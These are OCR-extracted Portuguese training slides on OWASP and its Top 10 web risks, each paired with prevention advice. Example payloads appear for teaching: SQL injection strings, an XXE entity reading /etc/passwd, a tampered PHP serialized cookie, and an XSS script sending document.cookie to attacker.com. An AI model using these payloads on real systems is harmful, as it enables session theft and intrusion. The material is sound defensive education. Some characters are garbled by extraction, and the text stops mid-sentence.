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Conceltos

* O Open Web Application Security Project (OWASP) € uma
comunidade aberta dedicada a permitir que as organizacoes
desenvolvam, comprem e mantenham aplicativos e APIs confiaveis.

 Owasp € uma fundacao sem fins lucrativos onde quase todos os
associados sao voluntarios, nao é afiliado a nenhuma empresa de
tecnologia e, com isso, nao ha pressao comercial o que permite
fornecer informacdes imparcials sobre seguranca de aplicativos.

* OWASP produz muitos tipos de materiais de forma colaborativa,
transparente e aberta.

* Ela € composta por especialistas da area de desenvolvimento,
pesquisadores e especialistas em seguranga da informacao,
disponibilizam gratuitamente conteudos educacionais incluindo
artigos técnicos, tutoriais, pesquisas, documentacoes e ferramentas
open source para auxiliar empresas e profissionais da area a
manter/desenvolver aplicacoes seguras.



Conceltos

* Promove o desenvolvimento seguro.

* Formado por diversos projetos, como:

1. OWASP Top 10

2. Zed Attack Proxy

3. Software Assurance Maturity Model (SAMM)
4. Web Security Testing Guide

* OWASP foi iniciada em 9 de setembro de 2001 por Mark Curphey. Jeff
Williams serviu como voluntario do final de 2003 até setembro de
2011. O atual presidente é Tobias Gondrom e o vice-presidente é Josh

Sokol.

* Desde 2011, a OWASP é também registrada como uma organizacao
sem fins lucrativos na Bélgica, sob o nome de OWASP Europa VZW.



Conceltos

Entre os principais beneficios que o OWASP proporciona as empresas e
profissionais de Tl, podemos destacar as seguintes:

1.

2.

B W

ajuda a tornar as aplicacoes mais blindadas contra ataques
cibernéticos;

colabora para a redugao do indice de erros e falhas operacionais
nos sistemas;

contribui para uma codificacao (criptografias) mais forte;
eleva o potencial de sucesso das aplicacoes;
melhora a imagem da empresa desenvolvedora do software.



OWASP Top 10

* O OWASP Top 10 é baseado, essencialmente, em mais de 40 submissdes de
dados de empresas especializadas na area da seguranca aplicacional e num
inquérito realizado a profissionais individuais do sector, o qual obteve 515
respostas.

* Estes dados refletem as vulnerabilidades identificadas em centenas de
organizacoes e mais de 100.000 aplicacoes e APIs reais. Os topicos do Top 10
sao selecionados e ordenados de acordo com a sua prevaléncia, combinada
com uma estimativa ponderada do potencial de abuso, detecao e impacto.

* O principal objetivo do OWASP Top 10 é o de educar programadores,
desenhadores e arquitetos de aplicacoes, bem como gestores e as proprias
organizacoes sobre as consequéncias dos problemas de seguranca mais comuns
e mais importantes no contexto das aplicacoes web.

* O Top 10 oferece nao so técnicas basicas para protecao nestas areas
problematicas e de elevado risco, mas também direcdoes sobre onde encontrar
informacao adicional sobre estes assuntos.



OWASP Top 10 - Risco de Seguranca

* Os atacantes podem potencialmente usar muitos caminhos diferentes
atraveés da sua aplicacao para afetar o seu negdcio ou organizacao.
Cada um destes caminhos representa um risco que pode, ou nao, ser
suficientemente sério para requerer atencao.
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Para determinar o risco para a sua organizag¢ao, pode avaliar a probabilidade associada com cada agente de
ameaga, vetor de ataque e falhas de seguranca, combinando-os com a estimativa do impacto técnico e de
negocio na organiza¢ao. Em conjunto, estes fatores determinam o risco global.



OWASP Top 10 - Avaliacao Risco

* O Top 10 da OWASP foca-se na identificacao dos riscos mais sérios para
um conjunto alargado de organizacdes. Para cada um desses riscos,
oferecemos informacao genérica sobre a probabilidade de ocorréncia e
impacto técnico.
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E fundamental compreender o risco para a sua organiza¢cdo com base n3o s6 nos
agentes de ameacgas especificos mas também no impacto para o negdcio.
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OWASP Top 10

Falhas de injec&o, tais como inje¢bées de SQL, OS e LDAP ocorrem quando dados néo-
confiaveis sao enviados para um interpretador como parte de um comando ou consulta legitima.
Os dados hostis do atacante podem enganar o interpretador levando-o a executar comandos
ndo pretendidos ou a aceder a dados sem a devida autorizacao.
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As funcgbes da aplicacao que estéo relacionadas com a autenticacao e gestao de sessdes sao
muitas vezes implementadas incorretamente, permitindo que um atacante possa comprometer
passwords, chaves, tokens de sesséo, ou abusar doutras falhas da implementacao que lhe
permitam assumir a identidade de outros utilizadores (temporaria ou permanentemente).

Muitas aplicacfes web e APIs nao protegem de forma adequada dados sensiveis, tais como dados
financeiros, de saude ou dados de identificacao pessoal (Pll). Os atacantes podem roubar ou modificar
estes dados mal protegidos para realizar fraudes com cartdes de crédito, roubo de identidade, ou
outros crimes. Os dados sensiveis necessitam de protecées de seguranca extra como encriptagao
quando armazenados ou em transito, tal como precaucdes especiais quando trocadas com o
navegador web.

Muitos processadores de XML mais antigos ou mal configurados avaliam referéncias a entidades
externas dentro dos documentos XML. Estas entidades externas podem ser usadas para revelar
ficheiros internos usando o processador de URI de ficheiros, partilhas internas de ficheiros, pesquisa
de portas de comunicacgao internas, execucao de codigo remoto e ataques de negacao de servico, tal
como o ataque Billion Laughs.

As restricGes sobre 0 que os utilizadores autenticados estao autorizados a fazer nem sempre séao
corretamente verificadas. Os atacantes podem abusar destas falhas para aceder a funcionalidades ou
dados para 0s quais nao tém autorizacdo, tais como dados de outras contas de utilizador, visualizar
ficheiros sensiveis, modificar os dados de outros utilizadores, alterar as permissdes de acesso, entre
outros.
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OWASP Top 10

As mas configuracdes de seguranca sao o aspeto mais observado nos dados recolhidos.
Normalmente isto é consequéncia de configuracdes padrao inseguras, incompletas ou ad hoc,
armazenamento na nuvem sem qualquer restricao de acesso, cabecalhos HTTP mal configurados ou
mensagens de erro com informacdes sensiveis. Nao sé todos os sistemas operativos, frameworks,
bibliotecas de cddigo e aplicacdes devem ser configurados de forma segura, como também devem ser
atualizados e alvo de correcdes de seguranca atempadamente.

As falhas de XSS ocorrem sempre que uma aplicacao inclui dados ndo-confiaveis numa nova pagina
web sem a validacao ou filtragem apropriadas, ou quando atualiza uma pagina web existente com
dados enviados por um utilizador através de uma APl do browser que possa criar JavaScript. O XSS
permite que atacantes possam executar scripts no browser da vitima, os quais podem raptar sessdes
do utilizador, descaraterizar sites web ou redirecionar o utilizador para sites maliciosos.

Desserializacao insegura normalmente leva a execucao remota de codigo. Mesmo que isto nédo
aconteca, pode ser usada para realizar ataques, incluindo ataques por repeticéo, injecao e elevacao de
privilégios.

Componentes tais como, bibliotecas, frameworks e outros médulos de software, sdo executados com
0S mesmos privilégios que a aplicacdo. O abuso dum componente vulneravel pode conduzir a uma
perda séria de dados ou controlo completo de um servidor. Aplicacdes e APIs que usem componentes
com vulnerabilidades conhecidas podem enfraquecer as defesas da aplicac&o possibilitando ataques e
impactos diversos.

O registo e monitorizacao insuficientes, em conjunto com uma resposta a incidentes inexistente ou
insuficiente permite que os atacantes possam abusar do sistema de forma persistente, que 0 possam
usar como entrada para atacar outros sistemas, e que possam alterar, extrair ou destruir dados. Alguns
dos estudos demonstram que o tempo necessario para detetar uma violacéo de dados é de mais de
200 dias e é tipicamente detetada por entidades externas ao invés de processos internos ou
monitorizacéo.



Injecao
Uma aplicacao é vulneravel a este ataque quando:

* Os dados fornecidos pelo utilizador nao sao validados, filtrados ou
limpos pela aplicacao.

e Dados hostis sao usados diretamente em consultas dinamicas ou
invocacdes nao parametrizadas para um interpretador sem terem sido
processadas de acordo com o seu contexto.
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Quase todas as fontes de dados As falhas relacionadas com injecdo sao muito A injecao pode resultar em perda ou
podem ser um vetor de injecao: comuns, em especial em codigo antigo. Séao corrupcao de dados, falha de
variaveis de ambiente, parametros, encontradas frequentemente em consultas SQL, responsabilizacdo, ou negacao de
servicos web internos e externos e LDAP, XPath ou NoSQL, comandos do Sistema acesso. A injecao pode, as vezes,
todos os tipos de utilizador. Operativo, processadores de XML, cabecalhos de levar ao controlo total do sistema. O
Falhas de injecao ocorrem quando SMTP, linguagens de expressao e consultas ORM. impacto no negocio depende das
um atacante consegue enviar dados | Estas falhas séo faceis de descobrir aguando da necessidades de protecao da
hostis para um interpretador. analise do codigo. Scanners e fuzzers podem ajudar | aplicacdo ou dos seus dados.
0s atacantes a encontrar falhas de injecao.




Exemplo Injecao
Cenario #1: Uma aplicacao usa dados nao confiaveis na
construcao da seguinte consulta SQL vulneravel:
String query = "SELECT * FROM accounts WHERE

custID="" + request.getParameter("id") + "'";

Cenario #2: De forma semelhante, a confianca cega de
uma

aplicagao em frameworks pode resultar em consultas
gue sao

igualmente vulneraveis, (e.g. Hibernate Query Language
(HQL)):

Query HQLQuery = session.createQuery("FROM
accounts

WHERE custID="" + request.getParameter("id") + """');

Em ambos os casos, um
atacante modifica o valor do
parametro

id no seu browser para enviar:
or '1'="1. Por exemplo:
http://example.com/app/acco
untView?id='or '1'="1

Isto altera o significado de
ambas as consultas para que
retornem todos os registos da
tabela "accounts". Ataques
mais perigosos podem
modificar dados ou até invocar
procedimentos armazenados.



Prevencao Injecao
Prevenir as injecoes requer que os dados estejam separados

dos comandos e das consultas.

* Optar por uma APl que evite por completo o uso do interpretador ou que
ofereca uma interface parametrizavel, ou entao usar uma ferramenta ORM -
Object Relational Mapping.

* Validacao dos dados de entrada do lado do servidor usando whitelists, isto
nao representa uma defesa completa uma vez que muitas aplicacoes
necessitam de usar caracteres especiais, tais como campos de texto ou APIs
para aplicacoes moveis.

* Para todas as consultas dinamicas, processar os caracteres especiais usando
sintaxe especial de processamento para o interpretador especifico (escaping).

* Usar o LIMIT e outros controlos de SQL dentro das consultas para prevenir a
(rjevelagao nao autorizada de grandes volumes de registos em caso de injecao
e SQL.



Quebra de Autenticacao

A sua aplicacao podera ter problemas na autenticacao se:

* Permite ataques automatizados como forc¢a bruta.

* Permite palavras-passe padrao, fracas ou conhecidas, tais como
"Passwordl" ou "admin/admin".

* ExpOe os identificadores de sessao no URL (e.g. quando o endereco é

reescrito).
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Os atacantes tém acesso a uma
infinidade de combinacdes de nome
de utilizador e palavras-passe validas
para ataques de credential stuffing
(teste exaustivo), forca bruta e de
dicionario bem como acesso a
contas padrao de administracao.
Ataques a gestado de sessao sao
genericamente compreendidos em
particular tokens gue nao expiram.
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A guebra de autenticacao esta bastante difundida
devido ao desenho e implementacao de muitos
controlos de identificacao e acesso. A gestao de
sessao e o alicerce da autenticacao e controlo de
acesso, estando presente em todas as aplicacdes
gue guardam estado. Os atacantes podem detetar
guebras de autenticacao atraves de processos
manuais, abusando com recurso a ferramentas
automaticas com listas de palavras-passe e atagues
de dicionario.
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Os atacantes apenas tém de ganhar
acesso a algumas contas, ou a uma
conta de administrador para
comprometer o sistema. Dependendo
do dominio da aplicacao, isto pode
permitir a lavagem de dinheiro,
fraudes na seguranca social e roubo
de identidade; ou revelacdo de
informacao altamente sensivel.




Exemplo Quebra de Autenticacao

Cenario #1: credential stuffing € um atague comum que consiste na utilizacao de listas

de palavras-passe conhecidas. Se uma aplicacao nao implementar um automatismo de

protecao contra o teste exaustivo de credenciais, esta pode ser usada como um oraculo
de palavras-passe para determinar se as credenciais sao validas.

Cenario #2: A maioria dos ataques de autenticacao ocorrem devido ao fato de se usarem
as palavras-passe como unico fator. Outrora consideradas boas praticas, a rotatividade
das palavras-passe e a complexidade das mesmas sao hoje vistas como fatores para
encorajar os utilizadores a usar e reutilizar

palavras-passe fracas. Recomenda-se as organizacoes deixarem de usar estas praticas
(NIST 800-63) e passarem a usar autenticacao multi-fator.

Cenario #3: O tempo de expiracao das sessoes nao é definido de forma correta. Um
utilizador utiliza um computador publico para aceder a uma aplicacao. Ao invés de fazer
logout o utilizador simplesmente fecha o separador do navegador e vai_x0002_se
embora. Um atacante usa o mesmo computador uma hora depois e o utilizador esta
ainda autenticado.



Prevencao Quebra de Autenticacao

* Sempre que possivel, implementar autenticacao multi-fator por forma a prevenir
atagues automatizados de credential stuffing, forca bruta e reutilizacao de credenciais
roubadas.

* Implementar verificacdes de palavras-chave fracas, tais como comparar as palavras-
passe novas ou alteradas com a lista das Top 10000 piores palavras-passe.

e Limitar o numero maximo de tentativas de autenticacao falhadas ou atrasar
progressivamente esta operacao. Registar todas as falhas e alertar os administradores
guando detetados ataques de teste exaustivo, forca bruta ou outros.

e Usar, no servidor, um gestor de sessoes seguro que gere novos identificadores de sessao
aleatodrios e com elevado nivel de entropia apds a autenticacao. Os identificadores de
sessao nao devem constar no URL, devem ser guardados de forma segura e invalidados
apos o logout, por inatividade e ao fim dum periodo de tempo fixo.



Exposicao de Dados Sensiveis

Importa determinar as necessidades de proteccao dos dados em transito
e quando em repouso. Senhas, numeros de cartdes de crédito, registros
de saude, informacao pessoal, etc. Para todos esses dados:

* Existem dados transmitidos em claro? Isto é valido para qualquer
protocolo e.g. HTTP, SMTP, FTP bem como trafego Internet e interno
entre balanceadores, gateways, servidores web ou servidores
aplicacionais.

e Existem dados sensiveis armazenados em claro, incluindo copias de
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Ao invés de atacar diretamente a Nos ultimos anos este tem sido 0 ataque com maior | Com frequéncia esta falha
criptografia, os atacantes tendema | impacto. A falha mais comum prende-se com a falta | compromete dados que deveriam
roubar chaves, executar atagues de encriptacéo de dados sensiveis. Quando a estar protegidos, tipicamente
MitM ou roubar dados em claro do criptografia é aplicada, € comum a geragao de informacao pessoal sensivel (Pll)
servidor, em trénsito ou no cliente chaves fracas e a sua méa gestao, utilizacéo de como registos médicos, credenciais,
e.g. navegador. Normalmente isto algoritmos criptograficos, protocolos e cifra fracos. dados pessoais, cartdes de credito,
requer ataque manual. Palavras- Para dados em transito, as vulnerabilidades no 0S guais devem requerem protecao
passe previamente obtidas podem servidor sdo geralmente faceis de detetar, mas dificil | de acordo com a legislacdo e
ser atacadas por forga bruta usando | para dados em repouso. A complexidade para regulamentacdo como EU GDPR ou
processadores graficos (GPUs) abusar destas vulnerabilidades é muito variavel. leis locais.



Exemplo Exposicao de Dados Sensiveis

Cenario #1: Uma aplicacao delega a encriptacao dos numeros de cartao de
crédito para a base de dados, no entanto estes dados sao automaticamente
decifrados quando sao consultados na base de dados permitindo que um
ataque de injecao de SQL possa obter os dados em claro.

Cenario #2: Um site nao usa TLS em todas as paginas, ou usa encriptacao fraca.
Monitorizando o trafego da rede (e.g. WiFi aberta), o atacante pode remover o
TLS, interceptar os pedidos, roubar e reutilizar o cookie de sessao o qual,
estando autenticado, |he permite modificar os dados privados do utilizador. Em
alternativa os dados podem ser modificados em transito, e.g. destinatario de
uma transferéncia bancaria.



Prevencao Exposicao de Dados Sensiveis

e Classificar os dados processados, armazenados ou transmitidos por uma
aplicacao. Identificar quais sao sensiveis de acordo com a legislacao de
protecao de dados, requisitos regulamentares ou necessidades do negdcio.

* N3o armazene dados sensiveis desnecessariamente. Descarte-os o mais
depressa possivel ou use técnicas de criacao de tokens e truncagem.

* Assegure o uso de algoritmos, protocolos e chaves fortes, standard e atuais,
bem como a correta gestao das chaves.

* Encripte todos os dados em transito usando protocolos seguros como TLS
combinado com cifras que permitam Perfect Forward Secrecy (PFS),
prioritizacao das cifras pelo servidor e parametros seguros.

* Armazene palavras-passe usando algoritmos tais como: Argon2, scrypt, bcrypt
ou PBKDF2.



Entidades Externas de XML

As aplicacdes e em particular servicos web baseados em XML ou
integracOes posteriores podem ser vulneraveis a ataques se:

* A aplicacao aceita XML diretamente ou carregamentos de XML, em
particular de fontes pouco confiaveis, ou se insere dados nao-
confiaveis em documentos XML, que sao depois consumidos pelo

processador.

* Qualquer um dos processadores de XML em uso na aplicacao ou em
servicos web baseados em SOAP permite Definicao de Tipo de

Documento (DTD)
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Os atacantes podem abusar de
processadores XML vulneraveis se
conseguirem carregar XML ou incluir
contetido malicioso num documento
XML, abusando assim do codigo
vulneravel, dependéncias ou
integracoes.

Por omissao, muitos dos processadores de XML
mais antigos permitem a especificacao de entidades
externas, um URI que pode ser acedido e avaliado
durante o processamento do XML. As ferramentas
SAST podem descobrir este problema atraves da
analise das dependéncias e configuracao. A detecao
por ferramentas DAST implica processos manuais
adicionais.

Estas falhas podem ser usadas para
extrair dados, executar um pedido
remoto a partir do servidor, efectuar
ataques de negacao de servico entre
outros. O impacto no negocio
depende da necessidade de protecao
das aplicacdes afetadas, bem como
dos dados.




Exemplo Entidades Externas de XML

XXE ocorre em muitos locais nao expectaveis, incluindo em
dependéncias muito profundas.
Cenario #1: O atacante tenta extrair dados do servidor:
<?xml version="1.0" encoding="1SO-8859-1"?>
<IDOCTYPE foo |

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
Cenario #2: Um atacante analisa a rede privada do servidor
alterando a seguinte linha da ENTITY para:

<IENTITY xxe SYSTEM "https://192.168.1.1/private" >]>




Prevencao Entidades Externas de XML

e Optar por um formato de dados mais simples, tal como JSON.

 Corrigir ou atualizar todos os processadores e bibliotecas de XML usados pela
aplicacao, dependéncias ou sistema operativo. Atualizar SOAP para a versao
1.2 ou superior.

* Desativar o processamento de entidades externas de XML e de DTD em todos
os processadores de XML em uso pela aplicacao.

* Implementar validacao, filtragem ou sanitizacao dos dados de entrada para
valores permitidos (whitelisting) prevenindo dados hostis nos documentos de
XML, cabecalhos ou nos.

* As ferramentas SAST podem ajudar a detetar XXE no codigo fonte, ainda assim
a revisao do codigo é a melhor alternativa em aplicacoes de grande dimensao
e complexidade com varias integracoes.



Quebra de Controle de Acessos
As vulnerabilidades comuns incluem:

* Ultrapassar as verificacoes de controlo de acesso modificando o URL,
estado interno da aplicacao, pagina HTML, ou através da utilizacao de
ferramenta para ataque a APIs.

* Elevacao de privilégios. Atuar como um utilizador sem autenticacao, ou
como administrador tendo um perfil de utilizador regular.

 Manipulacao de metadados, e.g. repeticao ou adulteracao do JSON Web
Token (JWT) de controlo de acesso, cookie ou campo escondido para

elevacao de privilégios.
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O abuso do controlo de acessos é
uma competéncia base dos
atacantes. Ferramentas automaticas
como SAST e DAST podem detetar a
auséncia, mas nao validar o
funcionamento do controlo de
acessos quando presente. A detecao
do controlo de acessos envolve
processos manuais.

As falhas de controlo de acessos sao comuns
devido a falta de processos automaticos de detecao
e a falta de testes funcionais realizados pelos
programadores. A detecio de controlo de acessos
nao e facil de realizar recorrendo a testes
automaticos tanto estaticos como dinamicos.

O impacto técnico reside no facto dos
atacantes poderem atuar como
utilizadores ou administradores
legitimos, utilizadores usarem
funcdes privilegiadas ou criar, aceder,
atualizar ou apagar todos 0s registos.
O impacto no negocio depende da
necessidade de protecdo dos dados.




Exemplo Quebra de Controle de Acessos

Cenario #1: A aplicacao usa dados nao verificados numa
chamada SQL que acede a informacao da conta:

pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

Um atacante, de forma simples, modifica o parametro acct no seu navegador para enviar um qualquer outro
numero de conta

a sua escolha. Se o parametro nao for devidamente verificado, o atacante pode aceder a conta de qualquer
utilizador.

http://example.com/app/accountinfo?acct=notmyacct

Cenario #2: Um atacante forca a navegacao para determinados URL alvo. O acesso a pagina de administracao
requer permissoes de administrador.

http://example.com/app/getappinfo
http://example.com/app/admin_getapplnfo

Se um utilizador nao autenticado puder aceder a essa pagina, entao existe uma falha. Da mesma forma, se um
nao administrador puder aceder a pagina de administracao, existe igualmente uma falha.



Prevencao Quebra de Controle de Acessos

* Implementar mecanismos de controlo de acesso uma unica vez, reutilizando-os ao
longo da aplicacao, incluindo CORS.

* Modelar controlo de acesso que assegure a propriedade dos registos, por oposicao ao
modelo que aceita que um utilizador possa criar, ler, atualizar ou apagar qualquer
registo.

* As regras de negocio especificas duma aplicacao, devem ser assegurados por modelos
de dominio.

* Desativar a listagem de diretorios no servidor e assegurar que nenhum metadado esta
presente na raiz do servidor web.

 Limitar o acesso a APl e controladores por forma a minimizar o impacto de ataque com
recurso a ferramentas automaticas.

* Invalidar JSON Web Tokens (JWT) apds o logout.
* Incluir testes unitarios e de integracao para as funcionalidades de controlo de acessos.



Configuracoes Seguranca Incorretas
A aplicacao pode ser vulneravel se:

* Estao em falta medidas apropriadas de seguranca em alguma parte da
camada aplicacional.

* Funcionalidades desnecessarias estao ativas ou instaladas (e.g. portos
de comunicacao desnecessarios, servicos, paginas, contas ou
privilégios).

* Em sistemas atualizados, as ultimas funcionalidades de seguranca
encontram-se desativadas ou configuradas de forma insegura.
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Especifico App. Abuso: 3 Prevaléncia: 3 Detecdo: 3 Técnico: 2 Negécio ?
Os atacantes tentam frequentemente | Mas configuracdes de seguranca podem ocorrer em | Tais falhas concedem
aceder a contas padrdo, paginas nao | qualquer nivel da camada aplicacional, incluindo frequentemente aos atacantes
usadas, falhas nao corrigidas, servicos de comunicacao, plataforma, servidor web, |acesso ndo autorizado a alguns
ficheiros e diretdrios nao protegidos, | servidor aplicacional, base de dados, frameworks, dados ou funcionalidades do sistema.
etc. para ganhar acesso nao codigo personalizado e maquinas virtuais pre- Ocasionalmente, tais falhas fazem
autorizado ou conhecimento do instaladas, containers ou armazenamento. Scanners | com que o sistema seja
sistema. automatizados séo Uteis na detegédo de mas completamente comprometido. O

configuracoes, uso de configuracdes ou contas impacto no negocio depende das
padrdo, servicos desnecessarios, opcoes herdadas | necessidades de proteccao da
etc. aplicacao e dados.




Exemplo Configuracao de Seguranca Incorretas

Cenario #1: O servidor aplicacional inclui aplicacdes de demonstracao que nao
sao removidas do servidor de producao. Para aléem de falhas de seguranca
conhecidas que os atacantes usam para comprometer o servidor, se uma
destas aplicacoes for a consola de administracao e as contas padrao nao
tiverem sido alteradas, o atacante consegue autenticar-se usando a palavra-
passe padrao, ganhando assim o controlo do servidor.

Cenario #2: A listagem de diretorias nao esta desativada no servidor. O
atacante encontra e descarrega a sua classe Java compilada, revertendo-a para
veT.o codigo e assim identificar outras falhas graves no controlo de acessos da
aplicagao.

Cenario #3: A configuracao do servidor aplicacional gera mensagens de erro
detalhadas incluindo, por exemplo, informacao de execucao (stack trace). Isto
expoe potencialmente informacao sensivel ou falhas subjacentes em versoes
de componentes reconhecidamente vulneraveis.



Prevencao Configuracao de Seguranca Incorretas

 Um processo automatizado e reprodutivel de robustecimento do sistema, que
torne facil e rapido criar um novo ambiente devidamente seguro. Ambientes
de desenvolvimento, qualidade e producao devem ser configurados de forma
semelhante com credenciais especificas por ambiente.

 Uma arquitetura aplicacional segmentada que garanta uma separacao efetiva
e segura entre os componentes ou modulos, com segmentacao, utilizacao de
containers ou grupos de seguranca cloud (Access Control List (ACL)).

 Um processo automatizado para verificacao da eficacia das configuracoes e
definicdes em todos os ambientes.

* A plataforma minima necessaria, sem funcionalidades desnecessarias,
componentes, documentacao ou exemplos. Remover ou nao instalar
funcionalidades que nao sao usadas bem como frameworks.



Cross Site Scripting (XSS)

Os ataques tipicos de XSS visam o roubo da sessao do utilizador, roubo ou
controlo da conta de utilizador, contornar autenticacao de multi-fator (MFA),
alteracao do DOM por substituicao ou alteracao de nos (e.g. formularios),
ataques contra o navegador do utilizador tais como o download de software
malicioso, key logging entre outros.

* Reflected XSS: Um ataque bem sucedido pode permitir a execucao de codigo
HTML e JavaScript no navegador da vitima.

* Stored XSS: A aplicacao ou APl armazenam dados de entrada do utilizador de

forma nao tratada.

Agente
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este problema.

Vetores
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Abuso: 3

Existem ferramentas automaticas
capazes de detetar e tirar partido dos
trés tipos de XSS. Existem ainda
frameworks, disponibilizadas
gratuitamente, capazes de explorar
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Prevaléncia: 3

XSS é o0 segundo maior risco no Top 10 da OWASP
e cerca de dois tercos das aplicacdes sao
vulneraveis a este tipo de ataque. Existem
ferramentas automaticas capazes de encontrar
problemas de XSS em tecnologias bastantes
populares como PHP, J2EE / JSP e ASP.NET.

Técnico: 2 Negdcio ?

O impacto do XSS é moderado para
0s tipos Reflected e DOM XSS mas
severo para Stored XSS, onde a
execucao remota de codigo no
navegador da vitima permite ao
atacante roubar credenciais, sessdes
ou até mesmo infetar a maquina da
vitima com malware.




Exemplo Cross Site Scripting

Cenario #1: A aplicagao usa informagao nao confiavel na construgdao do HTML
abaixo, sem validacao ou escaping:

(String) page += "<input name='creditcard' type="TEXT"
value="" + request.getParameter("CC") + "'>";

O atacante altera o parametro CC no browser para:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

Isto ira fazer com que a sessao da vitima seja enviada para a pagina do
atacante, dando-lhe o controlo sobre a atual sessao do utilizador.



Prevencao Cross Site Scripting

* Utilizagcao de frameworks que oferecam nativamente proteccao para XSS tais
como as versoes mais recentes de Ruby on Rails e ReactJS. E preciso conhecer
as limitacoes destes mecanismos de protecao por forma a tratar de forma
adequada os casos nao cobertos.

* Tratamento adequado (escaping) da informacao nao confiavel no pedido HTTP,
tendo em conta o contexto onde esta informacao ira ser inserida no HTML
(body, atributo, JavaScript, CSS ou URL), resolve os tipos Reflected e Stored
XSS.

* Aplicacao de codificacao de caracteres adequada ao contexto de utilizacao
aquando da modificacao da pagina no lado do cliente previne DOM XSS.



de ataques:

Desserializacao Insegura

Aplicacoes e APIs sao vulneraveis se desserializarem dados nao confiaveis ou
objetos adulterados fornecidos pelo atacante. Isto resulta em dois tipos principais

e Ataques relacionados com objetos e estruturas de dados em que o atacante
consegue modificar loégica aplicacional ou executar remotamente codigo
arbitrario se existirem classes cujo comportamento possa ser alterado durante

ou depois da desserializacao.

e Ataques de adulteracao de dados, tais como os relacionados com o controlo de

acessos, onde sao utilizadas estruturas de dados existentes mas cuj

foi alterado.
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Abusar da desserializacao € algo
dificil, uma vez que os exploits
existentes raramente funcionam sem
alteracdes ou modificagdes ao
codigo do exploit subjacente.

Esta falha foi incluida no Top 10 baseado num
inguerito a industria e ndo em dados quantitativos.
Algumas ferramentas podem descobrir falhas de
desserializacao, no entanto, a assisténcia humana é
frequentemente necessaria para validar o problema.
E expectavel que este tipo de vulnerabilidades seja
cada vez mais prevalente e até venha a aumentar a
medida que vao sendo desenvolvidas ferramentas
para ajudar na identificacdo e correcao.

O impacto das falhas de
desserializacdo nao pode ser
subestimado. Estas falhas podem
levar a ataques de execucao remota
de codigo, um dos ataques existentes
mais Serios.

O impacto no negacio depende da
necessidade de protecao dos dados.

o conteudo




Exemplo Desserializacao Insegura

Cenario #1: Um forum de PHP usa a serializacao de objetos
PHP para gravar um "super" cookie que contém o identificador
(ID) do utilizador, o seu papel, o resumo (hash) da sua
password e outros estados:
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

Um atacante pode mudar o objeto serializado para |lhe dar
privilégios de administrador:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}



Prevencao Desserializacao Insegura

A unica forma segura de utilizar serializagao pressupde que ndo sao
aceites objetos serializados de fontes nao confiaveis e que so sdo
permitidos tipos de dados primitivos.

* Implementar verificagoes de integridade como assinatura digital nos
objetos serializados como forma de prevenir a criacao de dados
hostis ou adulteracao de dados.

* Isolar e correr a logica de desserializagao, sempre que possivel, num
ambiente com privilégios minimos.

* Aplicar uma politica rigorosa de tipos de dados durantea
desserializagao, antes da criagao do objeto uma vez que a logica
tipicamente espera um conjunto de classes bem definido. Uma vez

que existem formas demonstradas de contornar esta técnica, ela
nao deve ser usada individualmente.



do cliente como no servidor). Isto engloba componentes que utiliza diretamente,

Utilizacao de Componentes Vulneraveis
A aplicacao pode ser vulneravel se:

* Nao conhecer as versoes de todos os componentes que utiliza (tanto no ambito

bem como as suas dependéncias.

* O software é vulneravel, deixou de ser suportado, ou esta desatualizado. Isto
inclui o SO, servidor web ou da aplicacao, sistemas de gestao de base de dados
(SGBDs), aplicacoes, APls e todos os componentes, ambientes de execucao, e

bibliotecas.
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Apesar de ser facil encontrar
ferramentas que ja exploram
vulnerabilidades conhecidas,
algumas vulnerabilidades requerem
um esforco superior no sentido de
desenvolver uma forma individual de
as explorar.

Este problema continua a prevalecer de forma
generalizada. Padrdes de desenvolvimento, que
focam na utilizacéo extensiva de componentes,
podem levar a que as equipas de desenvolvimento
nao percebam gue componentes devem utilizar na
sua aplicacao ou API.

Algumas ferramentas como retire.js ajudam na
tarefa de detecao destes casos, no entanto o abuso
destas vulnerabilidades requer esfor¢o adicional.

Enquanto algumas das
vulnerabilidades mais conhecidas
tém um impacto reduzido, algumas
das maiores falhas de seguranca, ate
a data, assentaram na exploracao
destas vulnerabilidades conhecidas,
em componentes.




Exemplo Utilizacao de Componentes Vulneraveis

Cenario #1: Tipicamente os componentes executam com 0os mesmos
privilégios da aplicacao onde se inserem, portanto quaisquer
vulnerabilidades nos componentes podem resultar num impacto
sério. Falhas deste tipo podem ser acidentais (ex. erro de
programacao) ou intencional (ex. backdoor no componente).

Existem ferramentas automaticas que ajudam os atacantes a
encontrar sistemas mal configurados ou com erros. Por exemplo, o
motor de busca Shodan pode ajudar a facilmente encontrar
dispositivos que possam ainda estar vulneraveis a Heartbleed,
vulnerabilidade esta que ja foi corrigida em Abril de 2014.



Prevencao Utilizacao de Componentes Vulneraveis

O processo de gestao de correcoes e atualizacoes deve:

* Remover dependéncias ndo utilizadas assim como funcionalidades,
componentes, ficheiros e documentacao desnecessarios.

e Realizar um inventario das versdoes dos componentes ao nivel do
cliente e do servidor (ex. frameworks, bibliotecas) e das suas
dependéncias, usando para isso ferramentas como versions,
DependencyCheck, retire.js, etc. Monitorize regularmente fontes
como Common VuInerabiIJities and Exposures (CVE) e National
Vulnerability Database (NVD) em busca de vulnerabilidades em
componentes.

* Obter componentes apenas de fontes oficiais e atraves de ligacoes
seguras, preferindo pacotes assinados de forma a mitigar
componentes modificados ou maliciosos.



Registro e Monitorizacao Insuficiente
Insuficiéncia do registo, detecao, monitorizacao e resposta acontece sempre que:

* Eventos auditaveis como autenticacao, autenticacdes falhadas e transacoes de
valor relevante nao sao registados.

* Alertas e erros nao sao registados, ou geram mensagens desadequadas ou
insuficientes.

* Limites para geracao de alertas e processos de elevacao de resposta nao estao
definidos ou nao sao eficazes.
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O abuso do registo e monitorizacao | Esta falha foi incluida no Top 10 baseado num Muitos ataques bem sucedidos
insuficiente sao o alicerce de quase |inguerito realizado a industria. comecam com a identificacao
todos os incidentes mais Uma estratégia para determinar se possui automatica de vulnerabilidades.
importantes. Os atacantes dependem capacidade de monitorizacdo suficiente é examinar Permitir gue estas ferramentas
